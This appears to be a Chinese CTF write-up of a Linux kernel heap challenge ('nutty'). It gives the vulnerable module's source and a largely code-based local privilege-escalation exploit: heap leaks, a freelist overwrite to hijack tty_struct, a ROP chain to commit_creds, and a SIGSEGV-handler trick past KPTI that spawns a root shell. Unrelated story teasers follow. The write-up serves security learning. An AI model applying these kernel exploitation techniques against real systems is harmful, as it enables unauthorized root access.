神来之笔,2021CTF内核漏洞精选解析

0x0 保护

#!/bin/sh

qemu-system-x86_64 \
    -m 512M \
    -kernel bzImage \
    -nographic \
    -smp 1 \
    -cpu kvm64,+smep,+smap \
    -append "console=ttyS0 quiet kaslr" \
    -initrd rootfs.cpio \
    -monitor /dev/null \
    --no-reboot \
    -s

开启的保护:

SMEP SMAP KPTI

0x1 源码分析

file_operations可以看出这是一个内核下的菜单题目,提供add、delete、show、append功能。

static const struct file_operations file_ops = {
    .owner = THIS_MODULE,
    .unlocked_ioctl = handle_ioctl,
};

static long handle_ioctl(struct file *f, unsigned int cmd, unsigned long arg){
    long ret;

    req* args = kmalloc(sizeof(req), GFP_KERNEL);
    copy_from_user(args, arg, sizeof(req));

    if (cmd == 0x13371){
        ret = create(args);
    }
    else if (cmd == 0x13372){
        ret = delete(args);
    }
    else if (cmd == 0x13373){
        ret = show(args);
    }
    else if (cmd == 0x13374){
        ret = append(args);
    }
    else{
        ret = -EINVAL;
    }
    return ret;
}

关于create函数:限制申请0 - 1024大小的堆块,会先通过read_contents申请一个大小content_length临时堆块,用来存放用户输入的内容,然后再申请size大小的堆块来存入临时堆块的内容,并把地址放到nuts数组里。但是如果content_length设置为为0,就会只申请size的堆块,不会申请临时堆块,这一点可以用于泄漏信息。

static int create(req* arg){
    int size = read_size(arg);
    char* contents = read_contents(arg);
    int i;

    for (i = 0; i < 10; i++){
        if (nuts[i].contents == NULL){
            break;
        }
    }

    if (i == 10){
        printk(KERN_INFO "creation error");
        return -EINVAL;
    }

    if (size < 0 || size >= 1024){
        printk(KERN_INFO "bad size");
        return -EINVAL;
    }
    nuts[i].size = size;
    nuts[i].contents = kmalloc(size, GFP_KERNEL);
    if (contents != 0){
        memcpy_safe(nuts[i].contents, contents, size);  //size > length , read heap overflow.
        kfree(contents);
    }
    else {
        printk("bad content length!");
        return -EINVAL;
    }

    return 0;
}

// Return a content ptr which will be alloced in kernel.
static char* read_contents(req* arg){
    char* to_read = (char*) arg->contents;
    int content_length = arg->content_length;
    if (content_length <= 0){
        printk(KERN_INFO "bad content length");
        return 0;
    }
    char* res = kmalloc(content_length, GFP_KERNEL);
    copy_from_user(res, to_read, content_length);
    return res;
}

关于delete函数:没啥可说的。只是kfree指定堆块,并清空nuts数组在此处的信息。

static int delete(req* arg){
    int idx = read_idx(arg);
    if (idx < 0 || idx >= 10){
        return -EINVAL;
    }
    if (nuts[idx].contents == NULL){
        return -EINVAL;
    }
    printk(KERN_INFO "deleting at 0x%px", nuts[idx].contents);
    kfree(nuts[idx].contents);
    nuts[idx].contents = NULL;
    nuts[idx].size = 0;

    return 0;
}

关于show函数:输出nuts数组内指定堆块的信息。

static int show(req* arg){
    int idx = read_idx(arg);
    if (idx < 0 || idx >= 10){
        return -EINVAL;
    }
    if (nuts[idx].contents == NULL){
        return -EINVAL;
    }
    copy_to_user(arg->show_buffer, nuts[idx].contents, nuts[idx].size);

    return 0;
}

关于append函数:用户提供的size加上nuts数组上指定堆块的size成为新的size,申请新的堆块先存放旧堆块的内容,然后再在之后填入新的内容。kfree掉旧的堆块,更新nuts数组。

static int append(req* arg){
    int idx = read_idx(arg);
    if (idx < 0 || idx >= 10){
        return -EINVAL;
    }
    if (nuts[idx].contents == NULL){
        return -EINVAL;
    }

    int new_size = read_size(arg) + nuts[idx].size;
    if (new_size < 0 || new_size >= 1024){
        printk(KERN_INFO "bad new size!\n");
        return -EINVAL;
    }
    char* tmp = kmalloc(new_size, GFP_KERNEL);
    memcpy_safe(tmp, nuts[idx].contents, nuts[idx].size);
    kfree(nuts[idx].contents);
    char* appended = read_contents(arg);
    if (appended != 0){
        memcpy_safe(tmp+nuts[idx].size, appended, new_size - nuts[idx].size);
        kfree(appended);
    }
    nuts[idx].contents = tmp;
    nuts[idx].size = new_size;

    return 0;
}

0x2 漏洞点

漏洞点有两个地方:

  • create的时候,如果size > length会造成越界读。
  • append 如果使arg中设置的size > 1024 会被返回-EOVERFLOW ,在IDA上看到是-75,可以利用这个来越界写堆,造成堆溢出。

0x3 利用思路

  • 泄漏内核基地址:通过subprocess_info结构体可以在kmalloc-128的堆块里存入一个可以泄漏内核基地址的地址call_usermodehelper_exec_work,然后通过越界读来读取,利用代码如下:

        create(0x60, buf, 0x60); // nut[0]
        create(0x60, buf, 0);    // nut[1]
        socket(22, AF_INET, 0);        // 申请`subprocess_info`
        delete (1);
        delete (0);
        create(0x100, buf, 0x60); // nut[0]
        memset(buf, 0, sizeof(buf));
        show(0, buf);
        printf("[*] Leak call_usermodehelper_exec_work addr : %#llx\n", buf[15]);
        kernbase = buf[15];
    
    
  • 泄漏需要利用的堆块的地址(之后会利用tty_struct来ROP。)就是类似打fastbin的思路来泄漏kmalloc-1024的堆块地址,因为tty_struct会使用kmalloc-1024的堆块。

        memset(buf, 0, sizeof(buf));
        create(1023, buf, 1023); // nut[1]
        create(1023, buf, 1023); // nut[2]
        delete (2);
        create(1023, buf, 0); // nut[2]
        show(2, buf);
        heapbase = buf[64];
        printf("[*] Leak tty_struct chunk addr : %#llx\n", buf[64]);
    
        int victim = open("/dev/ptmx", O_RDWR | O_NOCTTY); // 申请tty_struct
    
    
  • 利用越界写来改写堆块的next指针,来申请想要利用的堆块。这里申请了两次tty_struct所在的堆块,一次用来把tty_struct的内容留存下来,方便之后覆盖的时候减少修改其中内容,一次用来将修改数据之后覆盖tty_struct。修改的是onst struct tty_operations *ops指针为我们可控的内核堆,来作为我们劫持RIP的地方,和ROP栈迁移的栈,这个结构体内有很多函数指针,我在下文会附上其内容。

            memset(buf, 0, sizeof(buf));
        create(0x80, buf, 0x80); // nut[3]
        create(0x80, buf, 0x80); // nut[4]
        buf[0x18] = heapbase;
        create(0x80 + 75, buf, 0x80 + 75); // nut[5]
        delete (4);
        delete (3);
        append(5, 0x500, buf);
    
        create(0x80, buf, 0); // nut[3]
        create(0x80, buf, 0); // nut[4] => tty_struct
        show(4, buf);
    
        create(64, tmp, 64); // nut[6]
        create(64, tmp, 64); // nut[7]
        for (int i = 0; i < 13; i++)
            tmp[i] = heapbase;
        create(64 + 75, tmp, 64 + 75); // but[8]
        delete (7);
        delete (6);
        append(8, 0x500, tmp);
        buf[1] = calc(0xffffffff814236d7);   // 0xffffffff815c5c8e: pop rbp; pop rsp; sub ecx, 0xfffeb01a; ret;
        buf[3] = heapbase + 0x400;
        create(64, buf, 64); // nut[6] => tty_struct
    
    
    // struct tty_operations
    struct tty_operations {
        struct tty_struct * (*lookup)(struct tty_driver *driver,
                struct file *filp, int idx);
        int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
        void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
        int  (*open)(struct tty_struct * tty, struct file * filp);
        void (*close)(struct tty_struct * tty, struct file * filp);
        void (*shutdown)(struct tty_struct *tty);
        void (*cleanup)(struct tty_struct *tty);
        int  (*write)(struct tty_struct * tty,
                  const unsigned char *buf, int count);
        int  (*put_char)(struct tty_struct *tty, unsigned char ch);
        void (*flush_chars)(struct tty_struct *tty);
        int  (*write_room)(struct tty_struct *tty);
        int  (*chars_in_buffer)(struct tty_struct *tty);
        int  (*ioctl)(struct tty_struct *tty,
                unsigned int cmd, unsigned long arg);
        long (*compat_ioctl)(struct tty_struct *tty,
                     unsigned int cmd, unsigned long arg);
        void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
        void (*throttle)(struct tty_struct * tty);
        void (*unthrottle)(struct tty_struct * tty);
        void (*stop)(struct tty_struct *tty);
        void (*start)(struct tty_struct *tty);
        void (*hangup)(struct tty_struct *tty);
        int (*break_ctl)(struct tty_struct *tty, int state);
        void (*flush_buffer)(struct tty_struct *tty);
        void (*set_ldisc)(struct tty_struct *tty);
        void (*wait_until_sent)(struct tty_struct *tty, int timeout);
        void (*send_xchar)(struct tty_struct *tty, char ch);
        int (*tiocmget)(struct tty_struct *tty);
        int (*tiocmset)(struct tty_struct *tty,
                unsigned int set, unsigned int clear);
        int (*resize)(struct tty_struct *tty, struct winsize *ws);
        int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
        int (*get_icount)(struct tty_struct *tty,
                    struct serial_icounter_struct *icount);
        void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
    #ifdef CONFIG_CONSOLE_POLL
        int (*poll_init)(struct tty_driver *driver, int line, char *options);
        int (*poll_get_char)(struct tty_driver *driver, int line);
        void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
    #endif
        int (*proc_show)(struct seq_file *, void *);
    } __randomize_layout
    
    
  • 最后写入ROP到堆内,并通过ioctl来触发ROP。

        delete (2);
        delete (1);
        memset(buf, 0, sizeof(buf));
        // for(int i = 0; i < 20; i++)
        //     buf[i] = 0xdeadbeaf;
        buf[0] = calc(0xffffffff81001bdd); // 0xffffffff81001bdd: pop rdi ; ret  ;
        buf[1] = 0;
        buf[2] = calc(0xffffffff8108c3c0); // prepare_kernel_cred
        buf[3] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
        buf[4] = 0;
        buf[5] = calc(0xffffffff81a2474b); // 0xffffffff81a2474b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
        buf[6] = calc(0xffffffff8108c190); // ffffffff8108c190 T commit_creds
        buf[7] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
        buf[8] = 0;
        buf[9] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
        buf[10] = 0;
        buf[11] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
        buf[12] = calc(0xffffffff8100cf31); // 0xffffffff8100cf31: leave; ret;
        buf[13] = calc(0xffffffff810557b5); // 0xffffffff810557b5: pop rcx; ret;
        buf[14] = 0;
        buf[15] = calc(0xffffffff81a23d42); // 0xffffffff81a23d42: swapgs; ret;
        buf[16] = calc(0xffffffff81026a7b); // 0xffffffff81026a7b: iretq; ret;
        buf[17] = &pop_shell;
        buf[18] = user_cs;
        buf[19] = user_rflags;
        buf[20] = user_sp;
        buf[21] = user_ss;
        create(1023, buf, 1023);
        printf("[*] Get RIP : %#llx\n", calc(0xffffffff8100cf31));
        puts("[*] ROPing");
        ioctl(victim, buf, heapbase + 0x400);
    
    

    ROP内需要注意的是,先commit_creds(prepare_kernel_cred(0)),然后ret2usr

    但是实际上由于KPTI的原因,在iretq的时候会发生分段错误,发出SIGSEGV信号,不关闭KPTI的话,实际上并不能提权成功,在之前看过一个师傅的帖子,记不清楚链接了,但是这里有个很简单的处理方法:信号可以由用户态捕获并处理,而处理的部分我们自定义一个pop_shell函数即可弹出shell。

    signal(SIGSEGV, pop_shell);
    
    void pop_shell(void)
    {
        char *argv[] = {"/bin/sh", NULL};
        char *envp[] = {NULL};
        execve("/bin/sh", argv, envp);
    }
    
    
  • 其实还有一种使用Userfaultfd的思路,可以看下Reference里的链接,smallkirby师傅写的思路。

0x4 Exploit

Mech0n/UnionCTF-nutty.c

image.png

我是一名安全渗透工程师,希望本文对CTF感兴趣的伙伴们有所帮助,还有更多网络安全学习视频、工具包、逆向、应急响应等架构技术需要的戳我

最后,感谢大家阅读,喜欢的记得一键三连~

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,080评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,422评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,630评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,554评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,662评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,856评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,014评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,752评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,212评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,541评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,687评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,347评论 4 331
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,973评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,777评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,006评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,406评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,576评论 2 349

推荐阅读更多精彩内容

  • 参考:https://xz.aliyun.com/t/4529 一、代码分析: 二、漏洞分析及利用(绕过SMEP)...
    bsauce阅读 1,271评论 2 2
  • 我是黑夜里大雨纷飞的人啊 1 “又到一年六月,有人笑有人哭,有人欢乐有人忧愁,有人惊喜有人失落,有的觉得收获满满有...
    陌忘宇阅读 8,531评论 28 53
  • 信任包括信任自己和信任他人 很多时候,很多事情,失败、遗憾、错过,源于不自信,不信任他人 觉得自己做不成,别人做不...
    吴氵晃阅读 6,186评论 4 8
  • 步骤:发微博01-导航栏内容 -> 发微博02-自定义TextView -> 发微博03-完善TextView和...
    dibadalu阅读 3,131评论 1 3
  • 杂志上说生理期的时候免疫力会下降,我觉得挺玄乎,但每次都应验在我身上,那几天总是会感冒,所以生理期同时会伴随着...
    宿原小姐阅读 1,072评论 1 3